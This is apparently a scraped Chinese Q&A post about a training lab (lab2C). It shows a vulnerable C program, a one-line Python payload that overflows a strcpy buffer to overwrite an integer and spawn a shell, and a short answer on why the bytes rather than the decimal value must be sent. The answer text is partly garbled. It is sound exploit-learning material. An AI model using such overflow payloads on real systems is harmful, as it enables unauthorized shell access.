我最近成功地利用了一个C可执行文件,使其char数组溢出到另一个变量中。我是通过将exploit1.py的输出管道化到命令行来实现的,命令行被lab2C接受为参数。最后一个1.py文件如下所示:
1.py(最终):
def main():
print("aaabbbcccdddeee\xef\xbe\xad\xde")
main()
我在Jon Erickson的《黑客:利用的艺术》一书中读到过,你可以使用命令行将十六进制字节代码导入到一个文件中,所以我尝试了一下,成功地调用了shell()函数。你知道吗
然而,有一件事我仍然感到困惑,那就是为什么将0xdeadbeef的十进制版本中的管道作为参数不起作用。以下是我试图将in的输出通过管道传输到命令行的原始文件:
1.py(原件):
def main():
print("aaabbbcccdddeee3735928559")
main()
执行此操作时,命令行返回以下内容:
Not authenticated.
set_me was 892548915
为什么这样不行?是不是因为整数容器不能容纳0xdeadbeef的十进制值,因为它太大了?如果是这样,为什么整数可以接受等价的十六进制字节码?你知道吗
规格-架构:i686;CPU操作模式:32位,64位;内核名称:Linux;内核版本:#40~14.04.1-Ubuntu;编译器版本:Ubuntu 4.8.4-2ubuntu1~14.04
(以下为lab2C供参考): lab2C:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv)
{
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}
0xdeadbeef
等于3735928559
,但"3735928559"
等于也就是说,
"\x33\x37\x33..."
利用此漏洞的方法是用字符串的表示形式覆盖整数的表示形式,而不是字符串的解析值。你知道吗
相关问题 更多 >
编程相关推荐